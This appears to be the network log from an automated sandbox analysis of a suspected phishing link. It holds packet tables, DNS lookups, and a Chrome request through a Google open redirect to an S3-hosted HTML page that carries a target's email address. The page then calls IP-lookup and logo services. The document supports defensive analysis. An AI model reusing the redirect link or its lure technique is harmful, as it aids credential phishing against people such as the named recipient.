Dec 3, 2024 17:56:45.081988096 CET	50042	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:45.081993103 CET	443	50042	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:45.085757971 CET	50047	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:45.085818052 CET	443	50047	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:45.085911036 CET	50047	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:45.086085081 CET	50047	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:45.086098909 CET	443	50047	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:45.204050064 CET	443	50043	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:45.204116106 CET	443	50043	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:45.204241991 CET	50043	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:45.204528093 CET	50043	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:45.204547882 CET	443	50043	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:45.204559088 CET	50043	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:45.204565048 CET	443	50043	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:45.208285093 CET	50048	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:45.208326101 CET	443	50048	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:45.208410025 CET	50048	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:45.208590031 CET	50048	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:45.208601952 CET	443	50048	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:45.373166084 CET	443	50044	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:45.373929024 CET	50044	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:45.373958111 CET	443	50044	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:45.374423027 CET	50044	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:45.374428988 CET	443	50044	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:45.628329992 CET	443	50045	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:45.629074097 CET	50045	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:45.629113913 CET	443	50045	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:45.629534960 CET	50045	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:45.629549026 CET	443	50045	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:45.876332045 CET	443	50044	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:45.876399040 CET	443	50044	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:45.876456022 CET	50044	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:45.876713991 CET	50044	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:45.876737118 CET	443	50044	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:45.876749039 CET	50044	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:45.876755953 CET	443	50044	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:45.880096912 CET	50049	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:45.880131960 CET	443	50049	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:45.880194902 CET	50049	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:45.880330086 CET	50049	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:45.880345106 CET	443	50049	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:46.076510906 CET	443	50045	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:46.079866886 CET	443	50045	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:46.079927921 CET	50045	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:46.081634998 CET	50045	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:46.081659079 CET	443	50045	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:46.081671953 CET	50045	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:46.081679106 CET	443	50045	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:46.094630957 CET	50050	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:46.094676971 CET	443	50050	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:46.094733953 CET	50050	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:46.094902992 CET	50050	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:46.094930887 CET	443	50050	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:46.508111954 CET	443	50046	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:46.510023117 CET	50046	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:46.510061979 CET	443	50046	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:46.510586977 CET	50046	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:46.510592937 CET	443	50046	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:46.904486895 CET	443	50047	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:46.905131102 CET	50047	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:46.905180931 CET	443	50047	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:46.905668974 CET	50047	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:46.905680895 CET	443	50047	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:46.964101076 CET	443	50046	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:46.971659899 CET	443	50046	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:46.971736908 CET	50046	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:46.971740961 CET	443	50046	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:46.971793890 CET	50046	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:46.971893072 CET	50046	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:46.971914053 CET	443	50046	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:46.971925974 CET	50046	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:46.971931934 CET	443	50046	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:47.107832909 CET	443	50048	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:47.108428955 CET	50048	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:47.108459949 CET	443	50048	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:47.108968019 CET	50048	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:47.108973980 CET	443	50048	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:47.545694113 CET	443	50047	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:47.545763969 CET	443	50047	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:47.545892954 CET	50047	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:47.546286106 CET	50047	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:47.546302080 CET	443	50047	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:47.546331882 CET	50047	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:47.546339035 CET	443	50047	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:47.623434067 CET	443	50048	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:47.623511076 CET	443	50048	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:47.623564005 CET	50048	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:47.623776913 CET	50048	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:47.623799086 CET	443	50048	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:47.623811960 CET	50048	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:47.623816967 CET	443	50048	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:47.818945885 CET	443	50049	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:47.819470882 CET	50049	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:47.819509029 CET	443	50049	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:47.820204973 CET	50049	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:47.820210934 CET	443	50049	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:48.031766891 CET	443	50050	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:48.032371044 CET	50050	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:48.032407045 CET	443	50050	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:48.032898903 CET	50050	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:48.032908916 CET	443	50050	13.107.246.63	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 17:53:50.934922934 CET	56562	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:53:50.935069084 CET	57579	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:53:50.984797955 CET	53	63790	1.1.1.1	192.168.2.4
Dec 3, 2024 17:53:51.078089952 CET	53	56562	1.1.1.1	192.168.2.4
Dec 3, 2024 17:53:51.177736044 CET	53	57579	1.1.1.1	192.168.2.4
Dec 3, 2024 17:53:51.180488110 CET	53	57653	1.1.1.1	192.168.2.4
Dec 3, 2024 17:53:54.208944082 CET	53	54968	1.1.1.1	192.168.2.4
Dec 3, 2024 17:53:54.509016991 CET	61246	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:53:54.509470940 CET	65248	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:53:54.647399902 CET	53	61246	1.1.1.1	192.168.2.4
Dec 3, 2024 17:53:54.649830103 CET	53	65248	1.1.1.1	192.168.2.4
Dec 3, 2024 17:53:54.926233053 CET	64469	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:53:56.902048111 CET	58569	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:53:56.902048111 CET	57998	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:53:57.186018944 CET	53	57998	1.1.1.1	192.168.2.4
Dec 3, 2024 17:53:57.209450006 CET	53	58569	1.1.1.1	192.168.2.4
Dec 3, 2024 17:53:59.371284008 CET	59627	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:53:59.371618986 CET	51686	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:53:59.979626894 CET	53	59627	1.1.1.1	192.168.2.4
Dec 3, 2024 17:53:59.979681969 CET	53	51686	1.1.1.1	192.168.2.4
Dec 3, 2024 17:54:03.015676022 CET	58174	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:54:03.015799046 CET	63365	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:54:03.157694101 CET	53	58174	1.1.1.1	192.168.2.4
Dec 3, 2024 17:54:03.158098936 CET	53	63365	1.1.1.1	192.168.2.4
Dec 3, 2024 17:54:04.467746973 CET	51554	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:54:04.467912912 CET	64928	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:54:04.468291044 CET	63594	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:54:04.468422890 CET	49344	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:54:04.664619923 CET	53	51554	1.1.1.1	192.168.2.4
Dec 3, 2024 17:54:04.667994976 CET	53	64795	1.1.1.1	192.168.2.4
Dec 3, 2024 17:54:04.668698072 CET	53	64928	1.1.1.1	192.168.2.4
Dec 3, 2024 17:54:04.819674015 CET	53	63594	1.1.1.1	192.168.2.4
Dec 3, 2024 17:54:04.850861073 CET	53	49344	1.1.1.1	192.168.2.4
Dec 3, 2024 17:54:05.358711004 CET	138	138	192.168.2.4	192.168.2.255
Dec 3, 2024 17:54:06.602889061 CET	63707	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:54:06.603013039 CET	52796	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:54:06.618994951 CET	61242	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:54:06.619106054 CET	52975	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:54:06.743988991 CET	53	63707	1.1.1.1	192.168.2.4
Dec 3, 2024 17:54:06.763119936 CET	53	61242	1.1.1.1	192.168.2.4
Dec 3, 2024 17:54:06.766237020 CET	53	52975	1.1.1.1	192.168.2.4
Dec 3, 2024 17:54:06.847256899 CET	53	52796	1.1.1.1	192.168.2.4
Dec 3, 2024 17:54:07.888540030 CET	65418	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:54:07.888628006 CET	49388	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:54:08.028403997 CET	53	65418	1.1.1.1	192.168.2.4
Dec 3, 2024 17:54:08.028925896 CET	53	49388	1.1.1.1	192.168.2.4
Dec 3, 2024 17:54:08.903908968 CET	62135	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:54:08.904129982 CET	64832	53	192.168.2.4	1.1.1.1
Dec 3, 2024 17:54:09.042136908 CET	53	64832	1.1.1.1	192.168.2.4
Dec 3, 2024 17:54:09.148047924 CET	53	62135	1.1.1.1	192.168.2.4
Dec 3, 2024 17:54:11.297863007 CET	53	60645	1.1.1.1	192.168.2.4
Dec 3, 2024 17:54:30.248430014 CET	53	52376	1.1.1.1	192.168.2.4
Dec 3, 2024 17:54:50.125247955 CET	53	65019	1.1.1.1	192.168.2.4
Dec 3, 2024 17:54:52.991303921 CET	53	58573	1.1.1.1	192.168.2.4
Dec 3, 2024 17:55:20.396893978 CET	53	56018	1.1.1.1	192.168.2.4
Dec 3, 2024 17:56:06.072575092 CET	53	51482	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 3, 2024 17:54:06.847878933 CET	192.168.2.4	1.1.1.1	c238	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 17:53:50.934922934 CET	192.168.2.4	1.1.1.1	0x42e3	Standard query (0)	www.google.mk	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:50.935069084 CET	192.168.2.4	1.1.1.1	0xc234	Standard query (0)	www.google.mk	65	IN (0x0001)	false
Dec 3, 2024 17:53:54.509016991 CET	192.168.2.4	1.1.1.1	0x6f80	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:54.509470940 CET	192.168.2.4	1.1.1.1	0xafc5	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 3, 2024 17:53:54.926233053 CET	192.168.2.4	1.1.1.1	0x1b8c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:56.902048111 CET	192.168.2.4	1.1.1.1	0x4a1a	Standard query (0)	xix-i.s3.us-west-2.amazonaws.com	65	IN (0x0001)	false
Dec 3, 2024 17:53:56.902048111 CET	192.168.2.4	1.1.1.1	0x5f1d	Standard query (0)	xix-i.s3.us-west-2.amazonaws.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:59.371284008 CET	192.168.2.4	1.1.1.1	0x1173	Standard query (0)	yamami.com.sa	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:59.371618986 CET	192.168.2.4	1.1.1.1	0xf2bb	Standard query (0)	yamami.com.sa	65	IN (0x0001)	false
Dec 3, 2024 17:54:03.015676022 CET	192.168.2.4	1.1.1.1	0x841	Standard query (0)	yamami.com.sa	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:03.015799046 CET	192.168.2.4	1.1.1.1	0x585c	Standard query (0)	yamami.com.sa	65	IN (0x0001)	false
Dec 3, 2024 17:54:04.467746973 CET	192.168.2.4	1.1.1.1	0xe831	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:04.467912912 CET	192.168.2.4	1.1.1.1	0xc03d	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Dec 3, 2024 17:54:04.468291044 CET	192.168.2.4	1.1.1.1	0x53ba	Standard query (0)	logo.clearbit.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:04.468422890 CET	192.168.2.4	1.1.1.1	0x2297	Standard query (0)	logo.clearbit.com	65	IN (0x0001)	false
Dec 3, 2024 17:54:06.602889061 CET	192.168.2.4	1.1.1.1	0x15fb	Standard query (0)	ipapi.co	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:06.603013039 CET	192.168.2.4	1.1.1.1	0x1e0d	Standard query (0)	ipapi.co	65	IN (0x0001)	false
Dec 3, 2024 17:54:06.618994951 CET	192.168.2.4	1.1.1.1	0x8c52	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:06.619106054 CET	192.168.2.4	1.1.1.1	0x4fe4	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Dec 3, 2024 17:54:07.888540030 CET	192.168.2.4	1.1.1.1	0x84dd	Standard query (0)	logo.clearbit.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:07.888628006 CET	192.168.2.4	1.1.1.1	0xb83	Standard query (0)	logo.clearbit.com	65	IN (0x0001)	false
Dec 3, 2024 17:54:08.903908968 CET	192.168.2.4	1.1.1.1	0xc274	Standard query (0)	ipapi.co	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:08.904129982 CET	192.168.2.4	1.1.1.1	0x6007	Standard query (0)	ipapi.co	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 17:53:51.078089952 CET	1.1.1.1	192.168.2.4	0x42e3	No error (0)	www.google.mk		172.217.19.227	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:54.647399902 CET	1.1.1.1	192.168.2.4	0x6f80	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:54.649830103 CET	1.1.1.1	192.168.2.4	0xafc5	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 3, 2024 17:53:55.067436934 CET	1.1.1.1	192.168.2.4	0x1b8c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 17:53:56.899183989 CET	1.1.1.1	192.168.2.4	0x5da4	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 17:53:56.899183989 CET	1.1.1.1	192.168.2.4	0x5da4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.211.38	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:56.899183989 CET	1.1.1.1	192.168.2.4	0x5da4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.211.22	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:56.899183989 CET	1.1.1.1	192.168.2.4	0x5da4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.208.102	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:56.899183989 CET	1.1.1.1	192.168.2.4	0x5da4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.56.100	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:56.899183989 CET	1.1.1.1	192.168.2.4	0x5da4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.208.74	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:56.899183989 CET	1.1.1.1	192.168.2.4	0x5da4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.208.69	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:56.899183989 CET	1.1.1.1	192.168.2.4	0x5da4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.56.102	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:56.899183989 CET	1.1.1.1	192.168.2.4	0x5da4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.59.36	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:57.186018944 CET	1.1.1.1	192.168.2.4	0x5f1d	No error (0)	xix-i.s3.us-west-2.amazonaws.com	s3-r-w.us-west-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 17:53:57.186018944 CET	1.1.1.1	192.168.2.4	0x5f1d	No error (0)	s3-r-w.us-west-2.amazonaws.com		52.92.196.250	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:57.186018944 CET	1.1.1.1	192.168.2.4	0x5f1d	No error (0)	s3-r-w.us-west-2.amazonaws.com		52.92.181.18	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:57.186018944 CET	1.1.1.1	192.168.2.4	0x5f1d	No error (0)	s3-r-w.us-west-2.amazonaws.com		52.92.225.186	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:57.186018944 CET	1.1.1.1	192.168.2.4	0x5f1d	No error (0)	s3-r-w.us-west-2.amazonaws.com		3.5.85.161	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:57.186018944 CET	1.1.1.1	192.168.2.4	0x5f1d	No error (0)	s3-r-w.us-west-2.amazonaws.com		52.92.191.74	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:57.186018944 CET	1.1.1.1	192.168.2.4	0x5f1d	No error (0)	s3-r-w.us-west-2.amazonaws.com		3.5.86.146	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:57.186018944 CET	1.1.1.1	192.168.2.4	0x5f1d	No error (0)	s3-r-w.us-west-2.amazonaws.com		3.5.77.216	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:57.186018944 CET	1.1.1.1	192.168.2.4	0x5f1d	No error (0)	s3-r-w.us-west-2.amazonaws.com		3.5.86.177	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:53:57.209450006 CET	1.1.1.1	192.168.2.4	0x4a1a	No error (0)	xix-i.s3.us-west-2.amazonaws.com	s3-r-w.us-west-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 17:53:59.979626894 CET	1.1.1.1	192.168.2.4	0x1173	No error (0)	yamami.com.sa		136.243.57.80	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:03.157694101 CET	1.1.1.1	192.168.2.4	0x841	No error (0)	yamami.com.sa		136.243.57.80	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:04.664619923 CET	1.1.1.1	192.168.2.4	0xe831	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:04.664619923 CET	1.1.1.1	192.168.2.4	0xe831	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:04.664619923 CET	1.1.1.1	192.168.2.4	0xe831	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:04.668698072 CET	1.1.1.1	192.168.2.4	0xc03d	No error (0)	api.ipify.org			65	IN (0x0001)	false
Dec 3, 2024 17:54:04.819674015 CET	1.1.1.1	192.168.2.4	0x53ba	No error (0)	logo.clearbit.com	d26p066pn2w0s0.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 17:54:04.819674015 CET	1.1.1.1	192.168.2.4	0x53ba	No error (0)	d26p066pn2w0s0.cloudfront.net		13.227.8.47	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:04.819674015 CET	1.1.1.1	192.168.2.4	0x53ba	No error (0)	d26p066pn2w0s0.cloudfront.net		13.227.8.72	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:04.819674015 CET	1.1.1.1	192.168.2.4	0x53ba	No error (0)	d26p066pn2w0s0.cloudfront.net		13.227.8.65	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:04.819674015 CET	1.1.1.1	192.168.2.4	0x53ba	No error (0)	d26p066pn2w0s0.cloudfront.net		13.227.8.64	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:04.850861073 CET	1.1.1.1	192.168.2.4	0x2297	No error (0)	logo.clearbit.com	d26p066pn2w0s0.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 17:54:06.743988991 CET	1.1.1.1	192.168.2.4	0x15fb	No error (0)	ipapi.co		172.67.69.226	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:06.743988991 CET	1.1.1.1	192.168.2.4	0x15fb	No error (0)	ipapi.co		104.26.8.44	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:06.743988991 CET	1.1.1.1	192.168.2.4	0x15fb	No error (0)	ipapi.co		104.26.9.44	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:06.763119936 CET	1.1.1.1	192.168.2.4	0x8c52	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:06.763119936 CET	1.1.1.1	192.168.2.4	0x8c52	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:06.763119936 CET	1.1.1.1	192.168.2.4	0x8c52	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:06.766237020 CET	1.1.1.1	192.168.2.4	0x4fe4	No error (0)	api.ipify.org			65	IN (0x0001)	false
Dec 3, 2024 17:54:06.847256899 CET	1.1.1.1	192.168.2.4	0x1e0d	No error (0)	ipapi.co			65	IN (0x0001)	false
Dec 3, 2024 17:54:08.028403997 CET	1.1.1.1	192.168.2.4	0x84dd	No error (0)	logo.clearbit.com	d26p066pn2w0s0.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 17:54:08.028403997 CET	1.1.1.1	192.168.2.4	0x84dd	No error (0)	d26p066pn2w0s0.cloudfront.net		13.227.8.47	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:08.028403997 CET	1.1.1.1	192.168.2.4	0x84dd	No error (0)	d26p066pn2w0s0.cloudfront.net		13.227.8.64	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:08.028403997 CET	1.1.1.1	192.168.2.4	0x84dd	No error (0)	d26p066pn2w0s0.cloudfront.net		13.227.8.72	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:08.028403997 CET	1.1.1.1	192.168.2.4	0x84dd	No error (0)	d26p066pn2w0s0.cloudfront.net		13.227.8.65	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:08.028925896 CET	1.1.1.1	192.168.2.4	0xb83	No error (0)	logo.clearbit.com	d26p066pn2w0s0.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 17:54:09.042136908 CET	1.1.1.1	192.168.2.4	0x6007	No error (0)	ipapi.co			65	IN (0x0001)	false
Dec 3, 2024 17:54:09.148047924 CET	1.1.1.1	192.168.2.4	0xc274	No error (0)	ipapi.co		172.67.69.226	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:09.148047924 CET	1.1.1.1	192.168.2.4	0xc274	No error (0)	ipapi.co		104.26.8.44	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:54:09.148047924 CET	1.1.1.1	192.168.2.4	0xc274	No error (0)	ipapi.co		104.26.9.44	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.mk

fs.microsoft.com

xix-i.s3.us-west-2.amazonaws.com

https:

yamami.com.sa

api.ipify.org

logo.clearbit.com

ipapi.co

slscr.update.microsoft.com

otelrules.azureedge.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49742	172.217.19.227	443	8404	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:53:53 UTC	883	OUT	GET /url?q=lfarrera@wes.org&wes.org&sa=t&url=amp/s/xix-i.s3.us-west-2.amazonaws.com/ff.mp3.html HTTP/1.1 Host: www.google.mk Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
